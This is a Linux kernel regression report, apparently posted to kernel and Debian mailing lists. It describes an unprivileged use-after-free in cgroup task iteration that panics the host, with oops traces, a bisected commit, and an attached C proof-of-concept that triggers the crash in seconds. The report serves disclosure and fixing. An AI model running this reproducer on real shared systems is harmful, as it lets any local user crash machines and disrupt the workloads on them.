refcount_t: addition on 0; use-after-free, regression from 260fbcb92bbe ("cgroup: Move dying_tasks cleanup from cgroup_task_release() to cgroup_task_free()")
Salvatore Bonaccorso <[email protected]>
| Newsgroups | dev.linux.lists.regressions,org.kernel.vger.cgroups,org.kernel.vger.linux-kernel,org.kernel.vger.stable |
|---|---|
| Message-ID | <[email protected]> |
Control: forwarded -1 https://lore.kernel.org/regressions/[email protected] Hi Tejun, Johannes and Michael, In Debian Noah Elias Feldt reported a UAF which is hit in production and provided a reproducer for the issue (attached as well), the bugreport can be found at https://bugs.debian.org/1144314 . First quoting the orignal post: On Thu, Aug 13, 2026 at 02:38:34PM +0000, Noah Elias Feldt wrote: > Subject: linux-binary-7.1.3+deb13-amd64: unprivileged user-triggerable use-after-free host panic > Package: src:linux > X-Debbugs-Cc: [email protected] > Version: 7.1.3-1~bpo13+1 > Severity: important > > Dear Maintainer, > > An unprivileged local user can panic the entire host. Reading a cgroup's > world-readable cgroup.procs triggers a use-after-free of struct task_struct in > css_task_iter_next(), ending in "Kernel panic - not syncing: Fatal exception in > interrupt". > Nodes hard-panic and reboot organically under normal load on > the affected kernel. It also reproduces deterministically within seconds with > the attached PoC as an ordinary user (no root, no capabilities, no namespaces). > > *** Reporter, please consider answering these questions, where appropriate *** > > * What led up to the situation? > An unprivileged process reads its own world-readable cgroup.procs while, > on the same CPU, thread-group leaders in that cgroup exit and are > mass-reaped (attached poc.c). Not only synthetic: several of our production > nodes have already panicked this way organically under normal container > workload (Kubernetes / cri-o) on the affected kernel. > > * What exactly did you do? > Ran the reproducer as an ordinary user on an Debian 13 KVM guest > (trixie-backports kernel) > > * What was the outcome? > In ~12-70 s: "refcount_t: addition on 0" in css_task_iter_next() > (get_task_struct on usage==0) -> premature free -> NULL rcu_head.func in > rcu_do_batch (RIP:0x0) -> "Kernel panic - not syncing". Host dead -- same > signature as the organic production panics. Full trace attached (dmesg.log). > > * What outcome did you expect instead? > Reading cgroup.procs must never crash the host. > > -- Package-specific info: > ** Version: > Linux version 7.1.3+deb13-amd64 ([email protected]) (x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44) #1 SMP PREEMPT_DYNAMIC Debian 7.1.3-1~bpo13+1 (2026-07-12) > > ** Command line: > BOOT_IMAGE=/boot/vmlinuz-7.1.3+deb13-amd64 root=PARTUUID=2d450ecb-3079-4437-bfb2-753908b0375b ro console=tty0 console=ttyS0,115200 earlyprintk=ttyS0,115200 consoleblank=0 With an additional reproducer provided by Noah, I could bisect the change down to commit 260fbcb92bbeacfcd050410fdc2d24ab15044400 Author: Tejun Heo <[email protected]> Date: Tue Oct 28 20:19:16 2025 -1000 cgroup: Move dying_tasks cleanup from cgroup_task_release() to cgroup_task_free() Currently, cgroup_task_exit() adds thread group leaders with live member threads to their css_set's dying_tasks list (so cgroup.procs iteration can still see the leader), and cgroup_task_release() later removes them with list_del_init(&task->cg_list). An upcoming patch will defer the dying_tasks list addition, moving it from cgroup_task_exit() (called from do_exit()) to a new function called from finish_task_switch(). However, release_task() (which calls cgroup_task_release()) can run either before or after finish_task_switch(), creating a race where cgroup_task_release() might try to remove the task from dying_tasks before or while it's being added. Move the list_del_init() from cgroup_task_release() to cgroup_task_free() to fix this race. cgroup_task_free() runs from __put_task_struct(), which is always after both paths, making the cleanup safe. Cc: Dan Schatzberg <[email protected]> Cc: Peter Zijlstra <[email protected]> Signed-off-by: Tejun Heo <[email protected]> But there was the suspect that the matching commit might be d245698d727a ("cgroup: Defer task cgroup unlink until after the task is done switching out"). Using the provided reproducer in the Debian bug this leads to: [ 2686.174523] ------------[ cut here ]------------ [ 2686.175443] refcount_t: addition on 0; use-after-free. [ 2686.176414] WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x6a/0x90, CPU#0: 1144314-poc/1170 [ 2686.178044] Modules linked in: binfmt_misc intel_rapl_msr intel_rapl_common kvm_amd ccp iTCO_wdt intel_pmc_bxt watchdog kvm i2c_i801 vga16fb i2c_smbus vgastate irqbypass lpc_ich pcspkr virtio_net button virtio_balloon net_failover failover joydev evdev nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm efi_pstore configfs vsock_loopback vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock ext4 crc16 mbcache jbd2 crc32c_cryptoapi ahci xhci_pci libahci xhci_hcd libata usbcore scsi_mod psmouse virtio_blk scsi_common usb_common serio_raw dm_mirror dm_region_hash dm_log dm_mod qemu_fw_cfg virtio_rng autofs4 aesni_intel gf128mul [ 2686.187398] CPU: 0 UID: 1000 PID: 1170 Comm: 1144314-poc Not tainted 7.2-amd64 #1 PREEMPT(lazy) Debian 7.2~rc7-1~exp1 [ 2686.189214] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2686.190800] RIP: 0010:refcount_warn_saturate+0x6a/0x90 [ 2686.191731] Code: 00 48 8d 3d 88 8f 8d 01 67 48 0f b9 3a e9 2e 37 73 00 48 8d 3d 87 8f 8d 01 67 48 0f b9 3a e9 1d 37 73 00 48 8d 3d 86 8f 8d 01 <67> 48 0f b9 3a e9 0c 37 73 00 48 8d 3d 85 8f 8d 01 67 48 0f b9 3a [ 2686.194789] RSP: 0018:ffffcb9443cafa40 EFLAGS: 00010046 [ 2686.195752] RAX: ffff8b12532c8fa8 RBX: ffff8b1265ae6018 RCX: 0000000000000025 [ 2686.197023] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffffffffb15746b0 [ 2686.198268] RBP: 0000000000000206 R08: 0000000000000007 R09: 0000000000000004 [ 2686.199530] R10: ffff8b12673b3c40 R11: 0000000000000fdd R12: ffffcb9443cafb08 [ 2686.200782] R13: ffff8b1253899b40 R14: ffff8b124fbf0000 R15: 0000000000000000 [ 2686.202029] FS: 00007f0fff4266c0(0000) GS:ffff8b1309d55000(0000) knlGS:0000000000000000 [ 2686.203462] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2686.204506] CR2: 00005639b734d010 CR3: 0000000115a8d000 CR4: 0000000000350ef0 [ 2686.205780] Call Trace: [ 2686.206308] <TASK> [ 2686.206781] css_task_iter_next+0xcc/0xf0 [ 2686.207552] kernfs_seq_next+0x2a/0xa0 [ 2686.208291] ? cgroup_procs_show+0x2a/0x40 [ 2686.209075] seq_read_iter+0x2f5/0x490 [ 2686.209798] vfs_read+0x268/0x390 [ 2686.210454] ksys_read+0x73/0xf0 [ 2686.211114] do_syscall_64+0xe1/0x640 [ 2686.211828] ? do_syscall_64+0x11e/0x640 [ 2686.212580] ? kernfs_seq_start+0x53/0xb0 [ 2686.213340] ? __pfx_cgroup_seqfile_stop+0x10/0x10 [ 2686.214233] ? __mod_memcg_state+0xd7/0x1d0 [ 2686.215035] ? seq_read_iter+0x214/0x490 [ 2686.215782] ? __memcg_slab_free_hook+0x16c/0x1c0 [ 2686.216664] ? __memcg_slab_free_hook+0x16c/0x1c0 [ 2686.217594] ? kmem_cache_free+0x25f/0x440 [ 2686.218490] ? __x64_sys_close+0x3d/0x80 [ 2686.219281] ? do_syscall_64+0x11e/0x640 [ 2686.220044] ? __mod_memcg_state+0xd7/0x1d0 [ 2686.220839] ? __memcg_slab_free_hook+0x16c/0x1c0 [ 2686.221719] ? __memcg_slab_free_hook+0x16c/0x1c0 [ 2686.222616] ? kmem_cache_free+0x25f/0x440 [ 2686.223403] ? __x64_sys_close+0x3d/0x80 [ 2686.224167] ? do_syscall_64+0x11e/0x640 [ 2686.224927] ? do_syscall_64+0x11e/0x640 [ 2686.225686] ? do_syscall_64+0x11e/0x640 [ 2686.226446] ? do_syscall_64+0x98/0x640 [ 2686.227193] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 2686.228121] RIP: 0033:0x7f1010cea19e [ 2686.228828] Code: 08 0f 85 35 4a ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 48 83 ec 08 bf 01 00 00 00 e8 82 dc 05 00 bf 01 00 00 00 89 [ 2686.231921] RSP: 002b:00007f0fff415e08 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 [ 2686.233234] RAX: ffffffffffffffda RBX: 00007f0fff4266c0 RCX: 00007f1010cea19e [ 2686.234465] RDX: 0000000000010000 RSI: 00007f0fff415e90 RDI: 0000000000000029 [ 2686.235710] RBP: 00007f0fff425ea0 R08: 0000000000000000 R09: 0000000000000000 [ 2686.236959] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc3405bde0 [ 2686.238197] R13: 00007ffc3405bed6 R14: 00007f0fff426ce4 R15: 00007f0ffec26000 [ 2686.239444] </TASK> [ 2686.239922] ---[ end trace 0000000000000000 ]--- [ 2686.244408] ------------[ cut here ]------------ [ 2686.245246] WARNING: kernel/fork.c:790 at __put_task_struct+0x150/0x1c0, CPU#0: 1144314-poc/1164 [ 2686.246763] Modules linked in: binfmt_misc intel_rapl_msr intel_rapl_common kvm_amd ccp iTCO_wdt intel_pmc_bxt watchdog kvm i2c_i801 vga16fb i2c_smbus vgastate irqbypass lpc_ich pcspkr virtio_net button virtio_balloon net_failover failover joydev evdev nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm efi_pstore configfs vsock_loopback vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock ext4 crc16 mbcache jbd2 crc32c_cryptoapi ahci xhci_pci libahci xhci_hcd libata usbcore scsi_mod psmouse virtio_blk scsi_common usb_common serio_raw dm_mirror dm_region_hash dm_log dm_mod qemu_fw_cfg virtio_rng autofs4 aesni_intel gf128mul [ 2686.255681] CPU: 0 UID: 1000 PID: 1164 Comm: 1144314-poc Tainted: G W 7.2-amd64 #1 PREEMPT(lazy) Debian 7.2~rc7-1~exp1 [ 2686.257660] Tainted: [W]=WARN [ 2686.258228] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2686.259718] RIP: 0010:__put_task_struct+0x150/0x1c0 [ 2686.260570] Code: fe ff ff 48 89 cf be 03 00 00 00 e8 7a 73 72 00 48 89 df 48 83 c4 08 5b e9 2d fe ff ff 0f 0b 8b 43 28 85 c0 0f 84 da fe ff ff <0f> 0b 65 48 3b 1d ae ec 94 02 0f 85 d8 fe ff ff 0f 0b e9 d1 fe ff [ 2686.263431] RSP: 0018:ffffcb9440003ed0 EFLAGS: 00010286 [ 2686.264319] RAX: 00000000c0000000 RBX: ffff8b12532c8000 RCX: ffff8b124022fac0 [ 2686.265494] RDX: ffffffffaf5743e0 RSI: 0000000000000001 RDI: ffff8b12532c8000 [ 2686.266667] RBP: ffff8b12bbc33500 R08: ffff8b125368b700 R09: ffffffffaf66e8e3 [ 2686.267832] R10: fffff61cc44da200 R11: ffff8b124022a700 R12: ffffcb9440003f10 [ 2686.269010] R13: ffff8b12468cb700 R14: 0000000000000003 R15: 0000000000000000 [ 2686.270176] FS: 00007f100242c6c0(0000) GS:ffff8b1309d55000(0000) knlGS:0000000000000000 [ 2686.271594] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2686.272640] CR2: 00007f9e074e6b20 CR3: 0000000115a8d000 CR4: 0000000000350ef0 [ 2686.273817] Call Trace: [ 2686.274307] <IRQ> [ 2686.274744] rcu_do_batch+0x1b3/0x4f0 [ 2686.275413] rcu_core+0x131/0x2b0 [ 2686.276030] handle_softirqs+0xd8/0x310 [ 2686.276734] ? clockevents_program_event+0xf5/0x1e0 [ 2686.277577] __irq_exit_rcu+0x9e/0xf0 [ 2686.278243] sysvec_apic_timer_interrupt+0x71/0x90 [ 2686.279087] </IRQ> [ 2686.279527] <TASK> [ 2686.279968] asm_sysvec_apic_timer_interrupt+0x1a/0x20 [ 2686.280856] RIP: 0010:_raw_spin_unlock_irqrestore+0x1d/0x40 [ 2686.281795] Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 0f 1f 44 00 00 e8 f2 07 00 00 90 f7 c6 00 02 00 00 74 06 fb 0f 1f 44 00 00 <65> ff 0d 5c 66 af 01 74 05 e9 65 24 00 00 e8 10 2d 0e ff e9 5b 24 [ 2686.284661] RSP: 0018:ffffcb9443c7fcf0 EFLAGS: 00000206 [ 2686.285549] RAX: 0000000000000001 RBX: ffff8b1265ae0558 RCX: ffff8b1261d4ac00 [ 2686.286727] RDX: ffff8b12485b5330 RSI: 0000000000000206 RDI: ffffffffb1f81d88 [ 2686.287891] RBP: 0000000000000206 R08: 0000000000000003 R09: 0000000000000004 [ 2686.289065] R10: ffff8b12673b3f50 R11: 0000000000000ff1 R12: ffffcb9443c7fdb8 [ 2686.290230] R13: ffff8b12665eb180 R14: ffff8b1240338000 R15: 0000000000000000 [ 2686.291402] css_task_iter_next+0x95/0xf0 [ 2686.292117] kernfs_seq_next+0x2a/0xa0 [ 2686.292806] ? cgroup_procs_show+0x2a/0x40 [ 2686.293534] seq_read_iter+0x2f5/0x490 [ 2686.294217] vfs_read+0x268/0x390 [ 2686.294842] ksys_read+0x73/0xf0 [ 2686.295447] do_syscall_64+0xe1/0x640 [ 2686.296114] ? kmem_cache_free+0x25f/0x440 [ 2686.296851] ? __x64_sys_close+0x3d/0x80 [ 2686.297554] ? do_syscall_64+0x11e/0x640 [ 2686.298257] ? do_syscall_64+0x11e/0x640 [ 2686.298967] ? do_syscall_64+0x11e/0x640 [ 2686.299777] ? do_syscall_64+0x98/0x640 [ 2686.300606] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 2686.301529] RIP: 0033:0x7f1010cea19e [ 2686.302231] Code: 08 0f 85 35 4a ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 48 83 ec 08 bf 01 00 00 00 e8 82 dc 05 00 bf 01 00 00 00 89 [ 2686.305341] RSP: 002b:00007f100241be08 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 [ 2686.306708] RAX: ffffffffffffffda RBX: 00007f100242c6c0 RCX: 00007f1010cea19e [ 2686.308108] RDX: 0000000000010000 RSI: 00007f100241be90 RDI: 000000000000002a [ 2686.309527] RBP: 00007f100242bea0 R08: 0000000000000000 R09: 0000000000000000 [ 2686.310935] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc3405bde0 [ 2686.312388] R13: 00007ffc3405bed6 R14: 00007f100242cce4 R15: 00007f1001c2c000 [ 2686.313805] </TASK> [ 2686.314326] ---[ end trace 0000000000000000 ]--- [ 2691.097916] slab task_struct start ffff8b12532c8000 pointer offset 2600 size 7040 [ 2691.099234] list_del corruption. next->prev should be ffff8b124f3e0a28, but was ffff8b12514d8a28. (next=ffff8b12532c8a28) [ 2691.101069] ------------[ cut here ]------------ [ 2691.101915] kernel BUG at lib/list_debug.c:65! [ 2691.102745] Oops: invalid opcode: 0000 [#1] SMP NOPTI [ 2691.103662] CPU: 0 UID: 1000 PID: 9204 Comm: 1144314-poc Tainted: G W 7.2-amd64 #1 PREEMPT(lazy) Debian 7.2~rc7-1~exp1 [ 2691.105695] Tainted: [W]=WARN [ 2691.106288] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2691.107892] RIP: 0010:__list_del_entry_valid_or_report+0x10a/0x120 [ 2691.108989] Code: 89 d7 48 89 14 24 e8 25 3c be ff 48 8b 14 24 48 8b 74 24 08 48 c7 c7 18 12 a7 b0 48 8b 42 08 48 89 d1 48 89 c2 e8 b6 d1 74 ff <0f> 0b 66 2e 0f 1f 84 00 00 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 [ 2691.112049] RSP: 0018:ffffcb944927fb68 EFLAGS: 00010046 [ 2691.112991] RAX: 000000000000006d RBX: 0000000000000011 RCX: 0000000000000027 [ 2691.114228] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8b12bbc1d100 [ 2691.115474] RBP: ffff8b124f306300 R08: 0000000000000000 R09: ffffcb944927fa10 [ 2691.116712] R10: ffffffffb12f24b0 R11: 3fffffffffffefff R12: ffff8b1241f5d540 [ 2691.117950] R13: ffff8b124f3e4250 R14: ffff8b12508f8d80 R15: ffff8b124f3e0000 [ 2691.119196] FS: 0000000000000000(0000) GS:ffff8b1309d55000(0000) knlGS:0000000000000000 [ 2691.120587] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2691.121611] CR2: 00007f1010e48000 CR3: 0000000161e2a000 CR4: 0000000000350ef0 [ 2691.122857] Call Trace: [ 2691.123372] <TASK> [ 2691.123834] release_task+0x436/0x560 [ 2691.124539] do_exit+0x6a2/0xaa0 [ 2691.125178] do_group_exit+0x2d/0xc0 [ 2691.125868] __x64_sys_exit_group+0x18/0x20 [ 2691.126662] x64_sys_call+0x102c/0x1530 [ 2691.127393] do_syscall_64+0xe1/0x640 [ 2691.128098] ? file_update_time_flags+0x81/0x110 [ 2691.128951] ? fault_dirty_shared_page+0xa2/0x160 [ 2691.129816] ? do_fault+0x146/0x580 [ 2691.130493] ? __pte_offset_map+0x1b/0x100 [ 2691.131273] ? __handle_mm_fault+0x960/0xf60 [ 2691.132074] ? count_memcg_events+0xd9/0x210 [ 2691.132875] ? handle_mm_fault+0x1e5/0x2f0 [ 2691.133643] ? do_user_addr_fault+0x2b4/0x7b0 [ 2691.134456] ? irqentry_exit+0x43/0x730 [ 2691.135194] ? do_syscall_64+0x98/0x640 [ 2691.135927] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 2691.136843] RIP: 0033:0x7f1010d2c438 [ 2691.137540] Code: Unable to access opcode bytes at 0x7f1010d2c40e. [ 2691.138633] RSP: 002b:00007ffc3405bf98 EFLAGS: 00000202 ORIG_RAX: 00000000000000e7 [ 2691.139859] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1010d2c438 [ 2691.141027] RDX: 0000000000000002 RSI: ffffffffffffffb0 RDI: 0000000000000000 [ 2691.142186] RBP: 00007ffc3405bfb0 R08: 0000000000000000 R09: 0000000000000000 [ 2691.143352] R10: 0000000000000000 R11: 0000000000000202 R12: 00000000000003e8 [ 2691.144512] R13: 0000000000000002 R14: 0000000000000030 R15: 00005639b734cdd8 [ 2691.145673] </TASK> [ 2691.146124] Modules linked in: binfmt_misc intel_rapl_msr intel_rapl_common kvm_amd ccp iTCO_wdt intel_pmc_bxt watchdog kvm i2c_i801 vga16fb i2c_smbus vgastate irqbypass lpc_ich pcspkr virtio_net button virtio_balloon net_failover failover joydev evdev nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm efi_pstore configfs vsock_loopback vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock ext4 crc16 mbcache jbd2 crc32c_cryptoapi ahci xhci_pci libahci xhci_hcd libata usbcore scsi_mod psmouse virtio_blk scsi_common usb_common serio_raw dm_mirror dm_region_hash dm_log dm_mod qemu_fw_cfg virtio_rng autofs4 aesni_intel gf128mul [ 2691.154482] ---[ end trace 0000000000000000 ]--- [ 2691.155292] RIP: 0010:__list_del_entry_valid_or_report+0x10a/0x120 [ 2691.156315] Code: 89 d7 48 89 14 24 e8 25 3c be ff 48 8b 14 24 48 8b 74 24 08 48 c7 c7 18 12 a7 b0 48 8b 42 08 48 89 d1 48 89 c2 e8 b6 d1 74 ff <0f> 0b 66 2e 0f 1f 84 00 00 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 [ 2691.159161] RSP: 0018:ffffcb944927fb68 EFLAGS: 00010046 [ 2691.160045] RAX: 000000000000006d RBX: 0000000000000011 RCX: 0000000000000027 [ 2691.161204] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8b12bbc1d100 [ 2691.162364] RBP: ffff8b124f306300 R08: 0000000000000000 R09: ffffcb944927fa10 [ 2691.163532] R10: ffffffffb12f24b0 R11: 3fffffffffffefff R12: ffff8b1241f5d540 [ 2691.164691] R13: ffff8b124f3e4250 R14: ffff8b12508f8d80 R15: ffff8b124f3e0000 [ 2691.165852] FS: 0000000000000000(0000) GS:ffff8b1309d55000(0000) knlGS:0000000000000000 [ 2691.167168] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2691.168129] CR2: 00007f1010e48000 CR3: 0000000161e2a000 CR4: 0000000000350ef0 [ 2691.169290] note: 1144314-poc[9204] exited with irqs disabled [ 2691.170276] note: 1144314-poc[9204] exited with preempt_count 3 [ 2691.171334] Fixing recursive fault but reboot is needed! #regzbot introduced: 260fbcb92bbeacfcd050410fdc2d24ab15044400 #regzbot link: https://bugs.debian.org/1144314 Noah Elias Feldt is added here as well to provide more information as needed. Regards, Salvatore
1144314-poc.c
(text/x-csrc, 4.9 KB)
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <unistd.h>
static int PIN_CPU = 0;
static int READERS = 48;
static int M = 1000;
static int PARALLEL = 2;
static char cg_procs[600];
static char cg_threads[600];
static int *arrived;
static void pin_self(void)
{
cpu_set_t s;
CPU_ZERO(&s);
CPU_SET(PIN_CPU, &s);
if (sched_setaffinity(0, sizeof s, &s) != 0) { // inherited across fork()/pthread_create()
fprintf(stderr, "poc: cannot confine to cpu %d: %s\n"
"poc: pick a CPU that is online and allowed here "
"(Cpus_allowed_list in /proc/self/status)\n",
PIN_CPU, strerror(errno));
_exit(1);
}
}
static int verify_pinned(void)
{
cpu_set_t s;
CPU_ZERO(&s);
if (sched_getaffinity(0, sizeof s, &s) != 0) {
fprintf(stderr, "poc: sched_getaffinity: %s\n", strerror(errno));
_exit(1);
}
if (CPU_COUNT(&s) != 1 || !CPU_ISSET(PIN_CPU, &s)) {
fprintf(stderr, "poc: not confined to cpu %d -- %d CPUs still allowed\n",
PIN_CPU, CPU_COUNT(&s));
_exit(1);
}
return sched_getcpu();
}
static void find_cgroup(void)
{
char buf[1024] = {0};
int fd = open("/proc/self/cgroup", O_RDONLY);
if (fd >= 0) {
ssize_t n = read(fd, buf, sizeof buf - 1);
if (n > 0)
buf[n] = 0;
close(fd);
}
char path[512] = "/";
char *p = strstr(buf, "0::");
if (p) {
p += 3;
char *e = strchr(p, '\n');
if (e)
*e = 0;
snprintf(path, sizeof path, "%s", p);
}
snprintf(cg_procs, sizeof cg_procs, "/sys/fs/cgroup%s/cgroup.procs", path);
snprintf(cg_threads, sizeof cg_threads, "/sys/fs/cgroup%s/cgroup.threads", path);
}
static void *reader(void *a)
{
(void)a;
pin_self();
char buf[1 << 16];
for (;;) {
int fd = open(cg_procs, O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof buf) > 0)
;
close(fd);
}
fd = open(cg_threads, O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof buf) > 0)
;
close(fd);
}
}
return 0;
}
static void *worker(void *a)
{
(void)a;
usleep(2000);
return 0;
}
static void barrier_wait(void)
{
__atomic_add_fetch(arrived, 1, __ATOMIC_SEQ_CST);
for (int i = 0; i < 10000; i++) {
if (__atomic_load_n(arrived, __ATOMIC_SEQ_CST) >= PARALLEL)
return;
usleep(200);
}
}
static void zombie_factory(void)
{
pin_self();
// Undo the reaper's inherited SIG_IGN: with SIGCHLD ignored *here*, each
// leader would be autoreaped by its own last worker's release_task() (the
// zap_leader path) instead of piling up for the burst.
signal(SIGCHLD, SIG_DFL);
pthread_attr_t at;
pthread_attr_init(&at);
pthread_attr_setstacksize(&at, 64 * 1024);
for (int i = 0; i < M; i++) {
if (fork() == 0) {
pthread_t t;
if (pthread_create(&t, &at, worker, 0) == 0)
pthread_detach(t);
pthread_exit(0); // leader zombifies; process ends with the worker
}
// non-reaping parent: no wait()
}
pthread_attr_destroy(&at);
usleep(30000); // let them collapse onto dying_tasks before the reap
barrier_wait(); // ... then everyone bursts at once
}
static void run_reaper(void)
{
prctl(PR_SET_CHILD_SUBREAPER, 1);
signal(SIGCHLD, SIG_IGN);
pid_t f = fork();
if (f == 0) {
zombie_factory();
_exit(0);
}
if (f > 0)
while (wait(0) > 0) // ends in ECHILD once the pool is reaped
;
_exit(0);
}
static int envi(const char *k, int def)
{
const char *v = getenv(k);
return v ? atoi(v) : def;
}
int main(void)
{
PIN_CPU = envi("POC_CPU", PIN_CPU);
READERS = envi("POC_READERS", READERS);
M = envi("POC_M", M);
PARALLEL = envi("POC_PARALLEL", PARALLEL);
pin_self();
int on = verify_pinned();
find_cgroup();
fprintf(stderr, "poc: uid=%d cpu=%d (running on %d) readers=%d M=%d parallel=%d\npoc: iterating %s\n",
(int)getuid(), PIN_CPU, on, READERS, M, PARALLEL, cg_procs);
arrived = mmap(0, sizeof *arrived, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (arrived == MAP_FAILED)
return 1;
for (int i = 0; i < READERS; i++) {
pthread_t t;
pthread_create(&t, 0, reader, 0);
pthread_detach(t);
}
for (;;) {
__atomic_store_n(arrived, 0, __ATOMIC_SEQ_CST);
for (int i = 0; i < PARALLEL; i++) {
pid_t c = fork();
if (c == 0)
run_reaper(); // never returns
}
while (wait(0) > 0)
;
}
return 0;
}